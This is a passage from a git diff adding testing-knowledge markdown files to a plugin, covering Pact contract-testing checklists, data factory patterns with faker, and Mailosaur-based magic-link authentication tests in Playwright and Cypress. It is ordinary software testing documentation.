+| 6   | **Data types**        | TypeScript types, DB models / OpenAPI `schema.type` + `format`    | `string` ID vs `number` ID; ISO date vs Unix timestamp        |
+| 7   | **Nested structures** | Response builder, serializer / OpenAPI `$ref` + `allOf`/`oneOf`   | `{ data: { items: [] } }` vs `{ items: [] }`                  |
+
+### Scrutiny Evidence Block
+
+Document what was found from provider source and/or OpenAPI spec as a block comment in the test file:
+
+```typescript
+/*
+ * Provider Scrutiny Evidence:
+ * - Handler: server/src/routes/userRouteHandlers.ts:45
+ * - OpenAPI: server/openapi.yaml paths./api/v2/users/{userId}.get (if available)
+ * - Response type: UserResponseDto (server/src/types/user.ts:12)
+ * - Status: 200 (line 52), 404 (line 48)
+ * - Fields: { id: number, name: string, email: string, role: "user" | "admin", createdAt: string }
+ * - Required request headers: Authorization (Bearer token)
+ * - Validation: Zod schema at server/src/validation/user.ts:8
+ */
+```
+
+### Graceful Degradation
+
+When provider source code is not accessible (different repo, no access, closed source):
+
+1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names
+2. **Pact Broker has existing contracts**: Use `pact_mcp` tools to fetch existing provider states and verified interactions as reference
+3. **Neither available**: Generate contracts from consumer-side types but use the TODO form of the mandatory comment: `// Provider endpoint: TODO — provider source not accessible, verify manually` and add a `provider_scrutiny: "pending"` field to the output JSON
+4. **Never silently guess**: If you cannot verify, document what you assumed and why
+
+---
+
+## Contract Testing Checklist
+
+Before implementing contract testing, verify:
+
+- [ ] **Pact Broker setup**: Hosted (Pactflow) or self-hosted broker configured
+- [ ] **Consumer tests**: Generate pacts in CI, publish to broker on merge
+- [ ] **Provider verification**: Runs on PR, verifies all consumer pacts
+- [ ] **State handlers**: Provider implements all given() states
+- [ ] **can-i-deploy**: Blocks deployment if contracts incompatible
+- [ ] **Webhooks configured**: Consumer changes trigger provider verification
+- [ ] **Retention policy**: Old pacts archived (keep 30 days, all production tags)
+- [ ] **Resilience tested**: Timeouts, retries, error codes in contracts
+- [ ] **Provider endpoint comments**: Every Pact interaction has `// Provider endpoint:` comment
+- [ ] **Provider scrutiny completed**: Seven-point checklist verified for each interaction
+- [ ] **Scrutiny evidence documented**: Block comment with handler, types, status codes, and fields
+
+## Integration Points
+
+- Used in workflows: `*automate` (integration test generation), `*ci` (contract CI setup)
+- Related fragments: `test-levels-framework.md`, `ci-burn-in.md`, `pact-consumer-framework-setup.md`
+- Tools: Pact.js, Pact Broker (Pactflow or self-hosted), Pact CLI
+
+---
+
+## Pact.js Utils Accelerator
+
+When `tea_use_pactjs_utils` is enabled, the following utilities replace manual boilerplate:
+
+| Manual Pattern (raw Pact.js)                             | Pact.js Utils Equivalent                                                          | Benefit                                                               |
+| -------------------------------------------------------- | --------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
+| Manual `JsonMap` casting for `.given()` params           | `createProviderState({ name, params })`                                           | Type-safe, auto-conversion of Date/null/nested objects                |
+| Repeated builder callbacks for query/header/body         | `setJsonContent({ query, headers, body })`                                        | Reusable callback for `.withRequest(...)` and `.willRespondWith(...)` |
+| Inline body lambda `(builder) => builder.jsonBody(body)` | `setJsonBody(body)`                                                               | Body-only shorthand for cleaner response builders                     |
+| 30+ lines of `VerifierOptions` assembly                  | `buildVerifierOptions({ provider, port, includeMainAndDeployed, stateHandlers })` | One-call setup, env-aware, flow auto-detection                        |
+| Manual broker URL + selector logic from env vars         | `handlePactBrokerUrlAndSelectors({ ..., options })`                               | Mutates options in-place with broker URL and selectors                |
+| DIY Express middleware for auth injection                | `createRequestFilter({ tokenGenerator })`                                         | Bearer prefix contract prevents double-prefix bugs                    |
+| Manual CI branch/tag extraction                          | `getProviderVersionTags()`                                                        | CI-aware (GitHub Actions, GitLab CI, etc.)                            |
+| Message verifier config assembly                         | `buildMessageVerifierOptions({ provider, messageProviders })`                     | Same one-call pattern for Kafka/async contracts                       |
+| Inline no-op filter `(req, res, next) => next()`         | `noOpRequestFilter`                                                               | Pre-built pass-through for no-auth providers                          |
+
+See the `pactjs-utils-*.md` knowledge fragments for complete examples and anti-patterns.
+
+_Source: Pact consumer/provider sample repos, Murat contract testing blog, Pact official documentation, @seontechnologies/pactjs-utils library_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/data-factories.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/data-factories.md
new file mode 100644
index 0000000..6820a30
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/data-factories.md
@@ -0,0 +1,500 @@
+# Data Factories and API-First Setup
+
+## Principle
+
+Prefer factory functions that accept overrides and return complete objects (`createUser(overrides)`). Seed test state through APIs, tasks, or direct DB helpers before visiting the UI—never via slow UI interactions. UI is for validation only, not setup.
+
+## Rationale
+
+Static fixtures (JSON files, hardcoded objects) create brittle tests that:
+
+- Fail when schemas evolve (missing new required fields)
+- Cause collisions in parallel execution (same user IDs)
+- Hide test intent (what matters for _this_ test?)
+
+Dynamic factories with overrides provide:
+
+- **Parallel safety**: UUIDs and timestamps prevent collisions
+- **Schema evolution**: Defaults adapt to schema changes automatically
+- **Explicit intent**: Overrides show what matters for each test
+- **Speed**: API setup is 10-50x faster than UI
+
+## Pattern Examples
+
+### Example 1: Factory Function with Overrides
+
+**Context**: When creating test data, build factory functions with sensible defaults and explicit overrides. Use `faker` for dynamic values that prevent collisions.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts
+import { faker } from '@faker-js/faker';
+
+type User = {
+  id: string;
+  email: string;
+  name: string;
+  role: 'user' | 'admin' | 'moderator';
+  createdAt: Date;
+  isActive: boolean;
+};
+
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// test-utils/factories/product-factory.ts
+type Product = {
+  id: string;
+  name: string;
+  price: number;
+  stock: number;
+  category: string;
+};
+
+export const createProduct = (overrides: Partial<Product> = {}): Product => ({
+  id: faker.string.uuid(),
+  name: faker.commerce.productName(),
+  price: parseFloat(faker.commerce.price()),
+  stock: faker.number.int({ min: 0, max: 100 }),
+  category: faker.commerce.department(),
+  ...overrides,
+});
+
+// Usage in tests:
+test('admin can delete users', async ({ page, apiRequest }) => {
+  // Default user
+  const user = createUser();
+
+  // Admin user (explicit override shows intent)
+  const admin = createUser({ role: 'admin' });
+
+  // Seed via API (fast!)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+
+  // Now test UI behavior
+  await page.goto('/admin/users');
+  await page.click(`[data-testid="delete-user-${user.id}"]`);
+  await expect(page.getByText(`User ${user.name} deleted`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `Partial<User>` allows overriding any field without breaking type safety
+- Faker generates unique values—no collisions in parallel tests
+- Override shows test intent: `createUser({ role: 'admin' })` is explicit
+- Factory lives in `test-utils/factories/` for easy reuse
+
+### Example 2: Nested Factory Pattern
+
+**Context**: When testing relationships (orders with users and products), nest factories to create complete object graphs. Control relationship data explicitly.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/order-factory.ts
+import { createUser } from './user-factory';
+import { createProduct } from './product-factory';
+
+type OrderItem = {
+  product: Product;
+  quantity: number;
+  price: number;
+};
+
+type Order = {
+  id: string;
+  user: User;
+  items: OrderItem[];
+  total: number;
+  status: 'pending' | 'paid' | 'shipped' | 'delivered';
+  createdAt: Date;
+};
+
+export const createOrderItem = (overrides: Partial<OrderItem> = {}): OrderItem => {
+  const product = overrides.product || createProduct();
+  const quantity = overrides.quantity || faker.number.int({ min: 1, max: 5 });
+
+  return {
+    product,
+    quantity,
+    price: product.price * quantity,
+    ...overrides,
+  };
+};
+
+export const createOrder = (overrides: Partial<Order> = {}): Order => {
+  const items = overrides.items || [createOrderItem(), createOrderItem()];
+  const total = items.reduce((sum, item) => sum + item.price, 0);
+
+  return {
+    id: faker.string.uuid(),
+    user: overrides.user || createUser(),
+    items,
+    total,
+    status: 'pending',
+    createdAt: new Date(),
+    ...overrides,
+  };
+};
+
+// Usage in tests:
+test('user can view order details', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com' });
+  const product1 = createProduct({ name: 'Widget A', price: 10.0 });
+  const product2 = createProduct({ name: 'Widget B', price: 15.0 });
+
+  // Explicit relationships
+  const order = createOrder({
+    user,
+    items: [
+      createOrderItem({ product: product1, quantity: 2 }), // $20
+      createOrderItem({ product: product2, quantity: 1 }), // $15
+    ],
+  });
+
+  // Seed via API
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product1 });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product2 });
+  await apiRequest({ method: 'POST', url: '/api/orders', data: order });
+
+  // Test UI
+  await page.goto(`/orders/${order.id}`);
+  await expect(page.getByText('Widget A x 2')).toBeVisible();
+  await expect(page.getByText('Widget B x 1')).toBeVisible();
+  await expect(page.getByText('Total: $35.00')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Nested factories handle relationships (order → user, order → products)
+- Overrides cascade: provide custom user/products or use defaults
+- Calculated fields (total) derived automatically from nested data
+- Explicit relationships make test data clear and maintainable
+
+### Example 3: Factory with API Seeding
+
+**Context**: When tests need data setup, always use API calls or database tasks—never UI navigation. Wrap factory usage with seeding utilities for clean test setup.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/seed-helpers.ts
+import { APIRequestContext } from '@playwright/test';
+import { User, createUser } from '../../test-utils/factories/user-factory';
+import { Product, createProduct } from '../../test-utils/factories/product-factory';
+
+export async function seedUser(request: APIRequestContext, overrides: Partial<User> = {}): Promise<User> {
+  const user = createUser(overrides);
+
+  const response = await request.post('/api/users', {
+    data: user,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed user: ${response.status()}`);
+  }
+
+  return user;
+}
+
+export async function seedProduct(request: APIRequestContext, overrides: Partial<Product> = {}): Promise<Product> {
+  const product = createProduct(overrides);
+
+  const response = await request.post('/api/products', {
+    data: product,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed product: ${response.status()}`);
+  }
+
+  return product;
+}
+
+// Playwright globalSetup for shared data
+// playwright/support/global-setup.ts
+import { chromium, FullConfig } from '@playwright/test';
+import { seedUser } from './helpers/seed-helpers';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+  const context = page.context();
+
+  // Seed admin user for all tests
+  const admin = await seedUser(context.request, {
+    email: 'admin@example.com',
+    role: 'admin',
+  });
+
+  // Save auth state for reuse
+  await context.storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+export default globalSetup;
+
+// Cypress equivalent with cy.task
+// cypress/support/tasks.ts
+export const seedDatabase = async (entity: string, data: unknown) => {
+  // Direct database insert or API call
+  if (entity === 'users') {
+    await db.users.create(data);
+  }
+  return null;
+};
+
+// Usage in Cypress tests:
+beforeEach(() => {
+  const user = createUser({ email: 'test@example.com' });
+  cy.task('db:seed', { entity: 'users', data: user });
+});
+```
+
+**Key Points**:
+
+- API seeding is 10-50x faster than UI-based setup
+- `globalSetup` seeds shared data once (e.g., admin user)
+- Per-test seeding uses `seedUser()` helpers for isolation
+- Cypress `cy.task` allows direct database access for speed
+
+### Example 4: Anti-Pattern - Hardcoded Test Data
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Hardcoded test data
+test('user can login', async ({ page }) => {
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', 'test@test.com'); // Hardcoded
+  await page.fill('[data-testid="password"]', 'password123'); // Hardcoded
+  await page.click('[data-testid="submit"]');
+
+  // What if this user already exists? Test fails in parallel runs.
+  // What if schema adds required fields? Test breaks.
+});
+
+// ❌ BAD: Static JSON fixtures
+// fixtures/users.json
+{
+  "users": [
+    { "id": 1, "email": "user1@test.com", "name": "User 1" },
+    { "id": 2, "email": "user2@test.com", "name": "User 2" }
+  ]
+}
+
+test('admin can delete user', async ({ page }) => {
+  const users = require('../fixtures/users.json');
+  // Brittle: IDs collide in parallel, schema drift breaks tests
+});
+```
+
+**Why It Fails**:
+
+- **Parallel collisions**: Hardcoded IDs (`id: 1`, `email: 'test@test.com'`) cause failures when tests run concurrently
+- **Schema drift**: Adding required fields (`phoneNumber`, `address`) breaks all tests using fixtures
+- **Hidden intent**: Does this test need `email: 'test@test.com'` specifically, or any email?
+- **Slow setup**: UI-based data creation is 10-50x slower than API
+
+**Better Approach**: Use factories
+
+```typescript
+// ✅ GOOD: Factory-based data
+test('user can login', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'unique@example.com', password: 'secure123' });
+
+  // Seed via API (fast, parallel-safe)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+
+  // Test UI
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', user.email);
+  await page.fill('[data-testid="password"]', user.password);
+  await page.click('[data-testid="submit"]');
+
+  await expect(page).toHaveURL('/dashboard');
+});
+
+// ✅ GOOD: Factories adapt to schema changes automatically
+// When `phoneNumber` becomes required, update factory once:
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  phoneNumber: faker.phone.number(), // NEW field, all tests get it automatically
+  role: 'user',
+  ...overrides,
+});
+```
+
+**Key Points**:
+
+- Factories generate unique, parallel-safe data
+- Schema evolution handled in one place (factory), not every test
+- Test intent explicit via overrides
+- API seeding is fast and reliable
+
+### Example 5: Factory Composition
+
+**Context**: When building specialized factories, compose simpler factories instead of duplicating logic. Layer overrides for specific test scenarios.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts (base)
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// Compose specialized factories
+export const createAdminUser = (overrides: Partial<User> = {}): User => createUser({ role: 'admin', ...overrides });
+
+export const createModeratorUser = (overrides: Partial<User> = {}): User => createUser({ role: 'moderator', ...overrides });
+
+export const createInactiveUser = (overrides: Partial<User> = {}): User => createUser({ isActive: false, ...overrides });
+
+// Account-level factories with feature flags
+type Account = {
+  id: string;
+  owner: User;
+  plan: 'free' | 'pro' | 'enterprise';
+  features: string[];
+  maxUsers: number;
+};
+
+export const createAccount = (overrides: Partial<Account> = {}): Account => ({
+  id: faker.string.uuid(),
+  owner: overrides.owner || createUser(),
+  plan: 'free',
+  features: [],
+  maxUsers: 1,
+  ...overrides,
+});
+
+export const createProAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'pro',
+    features: ['advanced-analytics', 'priority-support'],
+    maxUsers: 10,
+    ...overrides,
+  });
+
+export const createEnterpriseAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'enterprise',
+    features: ['advanced-analytics', 'priority-support', 'sso', 'audit-logs'],
+    maxUsers: 100,
+    ...overrides,
+  });
+
+// Usage in tests:
+test('pro accounts can access analytics', async ({ page, apiRequest }) => {
+  const admin = createAdminUser({ email: 'admin@company.com' });
+  const account = createProAccount({ owner: admin });
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Advanced Analytics')).toBeVisible();
+});
+
+test('free accounts cannot access analytics', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'user@company.com' });
+  const account = createAccount({ owner: user }); // Defaults to free plan
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Upgrade to Pro')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Compose specialized factories from base factories (`createAdminUser` → `createUser`)
+- Defaults cascade: `createProAccount` sets plan + features automatically
+- Still allow overrides: `createProAccount({ maxUsers: 50 })` works
+- Test intent clear: `createProAccount()` vs `createAccount({ plan: 'pro', features: [...] })`
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (factory setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Pure functions and fixtures for factory integration
+  - `network-first.md` - API-first setup patterns
+  - `test-quality.md` - Parallel-safe, deterministic test design
+
+## Cleanup Strategy
+
+Ensure factories work with cleanup patterns:
+
+```typescript
+// Track created IDs for cleanup
+const createdUsers: string[] = [];
+
+afterEach(async ({ apiRequest }) => {
+  // Clean up all users created during test
+  for (const userId of createdUsers) {
+    await apiRequest({ method: 'DELETE', url: `/api/users/${userId}` });
+  }
+  createdUsers.length = 0;
+});
+
+test('user registration flow', async ({ page, apiRequest }) => {
+  const user = createUser();
+  createdUsers.push(user.id);
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  // ... test logic
+});
+```
+
+## Feature Flag Integration
+
+When working with feature flags, layer them into factories:
+
+```typescript
+export const createUserWithFlags = (
+  overrides: Partial<User> = {},
+  flags: Record<string, boolean> = {},
+): User & { flags: Record<string, boolean> } => ({
+  ...createUser(overrides),
+  flags: {
+    'new-dashboard': false,
+    'beta-features': false,
+    ...flags,
+  },
+});
+
+// Usage:
+const user = createUserWithFlags(
+  { email: 'test@example.com' },
+  {
+    'new-dashboard': true,
+    'beta-features': true,
+  },
+);
+```
+
+_Source: Murat Testing Philosophy (lines 94-120), API-first testing patterns, faker.js documentation._
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/email-auth.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/email-auth.md
new file mode 100644
index 0000000..653a8eb
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/email-auth.md
@@ -0,0 +1,721 @@
+# Email-Based Authentication Testing
+
+## Principle
+
+Email-based authentication (magic links, one-time codes, passwordless login) requires specialized testing with email capture services like Mailosaur or Ethereal. Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts.
+
+## Rationale
+
+Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state). Using email capture services + session caching + state preservation patterns makes email auth tests fast, reliable, and cost-effective.
+
+## Pattern Examples
+
+### Example 1: Magic Link Extraction with Mailosaur
+
+**Context**: Passwordless login flow where user receives magic link via email, clicks it, and is authenticated.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/magic-link-auth.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Magic Link Authentication Flow
+ * 1. User enters email
+ * 2. Backend sends magic link
+ * 3. Test retrieves email via Mailosaur
+ * 4. Extract and visit magic link
+ * 5. Verify user is authenticated
+ */
+
+// Mailosaur configuration
+const MAILOSAUR_API_KEY = process.env.MAILOSAUR_API_KEY!;
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+/**
+ * Extract href from HTML email body
+ * DOMParser provides XML/HTML parsing in Node.js
+ */
+function extractMagicLink(htmlString: string): string | null {
+  const { JSDOM } = require('jsdom');
+  const dom = new JSDOM(htmlString);
+  const link = dom.window.document.querySelector('#magic-link-button');
+  return link ? (link as HTMLAnchorElement).href : null;
+}
+
+/**
+ * Alternative: Use Mailosaur's built-in link extraction
+ * Mailosaur automatically parses links - no regex needed!
+ */
+async function getMagicLinkFromEmail(email: string): Promise<string> {
+  const MailosaurClient = require('mailosaur');
+  const mailosaur = new MailosaurClient(MAILOSAUR_API_KEY);
+
+  // Wait for email (timeout: 30 seconds)
+  const message = await mailosaur.messages.get(
+    MAILOSAUR_SERVER_ID,
+    {
+      sentTo: email,
+    },
+    {
+      timeout: 30000, // 30 seconds
+    },
+  );
+
+  // Mailosaur extracts links automatically - no parsing needed!
+  const magicLink = message.html?.links?.[0]?.href;
+
+  if (!magicLink) {
+    throw new Error(`Magic link not found in email to ${email}`);
+  }
+
+  console.log(`📧 Email received. Magic link extracted: ${magicLink}`);
+  return magicLink;
+}
+
+test.describe('Magic Link Authentication', () => {
+  test('should authenticate user via magic link', async ({ page, context }) => {
+    // Arrange: Generate unique test email
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Act: Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Assert: Success message
+    await expect(page.getByTestId('check-email-message')).toBeVisible();
+    await expect(page.getByTestId('check-email-message')).toContainText('Check your email');
+
+    // Retrieve magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit magic link
+    await page.goto(magicLink);
+
+    // Assert: User is authenticated
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+    await expect(page.getByTestId('user-email')).toContainText(testEmail);
+
+    // Verify session storage preserved
+    const localStorage = await page.evaluate(() => JSON.stringify(window.localStorage));
+    expect(localStorage).toContain('authToken');
+  });
+
+  test('should handle expired magic link', async ({ page }) => {
+    // Use pre-expired link (older than 15 minutes)
+    const expiredLink = 'http://localhost:3000/auth/verify?token=expired-token-123';
+
+    await page.goto(expiredLink);
+
+    // Assert: Error message displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has expired');
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should prevent reusing magic link', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link first time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('sign-out').click();
+
+    // Try to reuse same link (should fail)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has already been used');
+  });
+});
+```
+
+**Cypress equivalent with Mailosaur plugin**:
+
+```javascript
+// cypress/e2e/magic-link-auth.cy.ts
+describe('Magic Link Authentication', () => {
+  it('should authenticate user via magic link', () => {
+    const serverId = Cypress.env('MAILOSAUR_SERVERID');
+    const randomId = Cypress._.random(1e6);
+    const testEmail = `user-${randomId}@${serverId}.mailosaur.net`;
+
+    // Request magic link
+    cy.visit('/login');
+    cy.get('[data-cy="email-input"]').type(testEmail);
+    cy.get('[data-cy="send-magic-link"]').click();
+    cy.get('[data-cy="check-email-message"]').should('be.visible');
+
+    // Retrieve and visit magic link
+    cy.mailosaurGetMessage(serverId, { sentTo: testEmail })
+      .its('html.links.0.href') // Mailosaur extracts links automatically!
+      .should('exist')
+      .then((magicLink) => {
+        cy.log(`Magic link: ${magicLink}`);
+        cy.visit(magicLink);
+      });
+
+    // Verify authenticated
+    cy.get('[data-cy="user-menu"]').should('be.visible');
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+});
+```
+
+**Key Points**:
+
+- **Mailosaur auto-extraction**: `html.links[0].href` or `html.codes[0].value`
+- **Unique emails**: Random ID prevents collisions
+- **Negative testing**: Expired and reused links tested
+- **State verification**: localStorage/session checked
+- **Fast email retrieval**: 30 second timeout typical
+
+---
+
+### Example 2: State Preservation Pattern with cy.session / Playwright storageState
+
+**Context**: Cache authenticated session to avoid requesting magic link on every test.
+
+**Implementation**:
+
+```typescript
+// playwright/fixtures/email-auth-fixture.ts
+import { test as base } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+type EmailAuthFixture = {
+  authenticatedUser: { email: string; token: string };
+};
+
+export const test = base.extend<EmailAuthFixture>({
+  authenticatedUser: async ({ page, context }, use) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${process.env.MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Check if we have cached auth state for this email
+    const storageStatePath = `./test-results/auth-state-${testEmail}.json`;
+
+    try {
+      // Try to reuse existing session
+      await context.storageState({ path: storageStatePath });
+      await page.goto('/dashboard');
+
+      // Validate session is still valid
+      const isAuthenticated = await page.getByTestId('user-menu').isVisible({ timeout: 2000 });
+
+      if (isAuthenticated) {
+        console.log(`✅ Reusing cached session for ${testEmail}`);
+        await use({ email: testEmail, token: 'cached' });
+        return;
+      }
+    } catch (error) {
+      console.log(`📧 No cached session, requesting magic link for ${testEmail}`);
+    }
+
+    // Request new magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Get magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link and authenticate
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Extract auth token from localStorage
+    const authToken = await page.evaluate(() => localStorage.getItem('authToken'));
+
+    // Save session state for reuse
+    await context.storageState({ path: storageStatePath });
+
+    console.log(`💾 Cached session for ${testEmail}`);
+
+    await use({ email: testEmail, token: authToken || '' });
+  },
+});
+```
+
+**Cypress equivalent with cy.session + data-session**:
+
+```javascript
+// cypress/support/commands/email-auth.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Authenticate via magic link with session caching
+ * - First run: Requests email, extracts link, authenticates
+ * - Subsequent runs: Reuses cached session (no email)
+ */
+Cypress.Commands.add('authViaMagicLink', (email) => {
+  return dataSession({
+    name: `magic-link-${email}`,
+
+    // First-time setup: Request and process magic link
+    setup: () => {
+      cy.visit('/login');
+      cy.get('[data-cy="email-input"]').type(email);
+      cy.get('[data-cy="send-magic-link"]').click();
+
+      // Get magic link from Mailosaur
+      cy.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), {
+        sentTo: email,
+      })
+        .its('html.links.0.href')
+        .should('exist')
+        .then((magicLink) => {
+          cy.visit(magicLink);
+        });
+
+      // Wait for authentication
+      cy.get('[data-cy="user-menu"]', { timeout: 10000 }).should('be.visible');
+
+      // Preserve authentication state
+      return cy.getAllLocalStorage().then((storage) => {
+        return { storage, email };
+      });
+    },
+
+    // Validate cached session is still valid
+    validate: (cached) => {
+      return cy.wrap(Boolean(cached?.storage));
+    },
+
+    // Recreate session from cache (no email needed)
+    recreate: (cached) => {
+      // Restore localStorage
+      cy.setLocalStorage(cached.storage);
+      cy.visit('/dashboard');
+      cy.get('[data-cy="user-menu"]', { timeout: 5000 }).should('be.visible');
+    },
+
+    shareAcrossSpecs: true, // Share session across all tests
+  });
+});
+```
+
+**Usage in tests**:
+
+```javascript
+// cypress/e2e/dashboard.cy.ts
+describe('Dashboard', () => {
+  const serverId = Cypress.env('MAILOSAUR_SERVERID');
+  const testEmail = `test-user@${serverId}.mailosaur.net`;
+
+  beforeEach(() => {
+    // First test: Requests magic link
+    // Subsequent tests: Reuses cached session (no email!)
+    cy.authViaMagicLink(testEmail);
+  });
+
+  it('should display user dashboard', () => {
+    cy.get('[data-cy="dashboard-content"]').should('be.visible');
+  });
+
+  it('should show user profile', () => {
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+
+  // Both tests share same session - only 1 email consumed!
+});
+```
+
+**Key Points**:
+
+- **Session caching**: First test requests email, rest reuse session
+- **State preservation**: localStorage/cookies saved and restored
+- **Validation**: Check cached session is still valid
+- **Quota optimization**: Massive reduction in email consumption
+- **Fast tests**: Cached auth takes seconds vs. minutes
+
+---
+
+### Example 3: Negative Flow Tests (Expired, Invalid, Reused Links)
+
+**Context**: Comprehensive negative testing for email authentication edge cases.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/email-auth-negative.spec.ts
+import { test, expect } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+test.describe('Email Auth Negative Flows', () => {
+  test('should reject expired magic link', async ({ page }) => {
+    // Generate expired link (simulate 24 hours ago)
+    const expiredToken = Buffer.from(
+      JSON.stringify({
+        email: 'test@example.com',
+        exp: Date.now() - 24 * 60 * 60 * 1000, // 24 hours ago
+      }),
+    ).toString('base64');
+
+    const expiredLink = `http://localhost:3000/auth/verify?token=${expiredToken}`;
+
+    // Visit expired link
+    await page.goto(expiredLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/link.*expired|expired.*link/i);
+
+    // Assert: Link to request new one
+    await expect(page.getByTestId('request-new-link')).toBeVisible();
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject invalid magic link token', async ({ page }) => {
+    const invalidLink = 'http://localhost:3000/auth/verify?token=invalid-garbage';
+
+    await page.goto(invalidLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/invalid.*link|link.*invalid/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
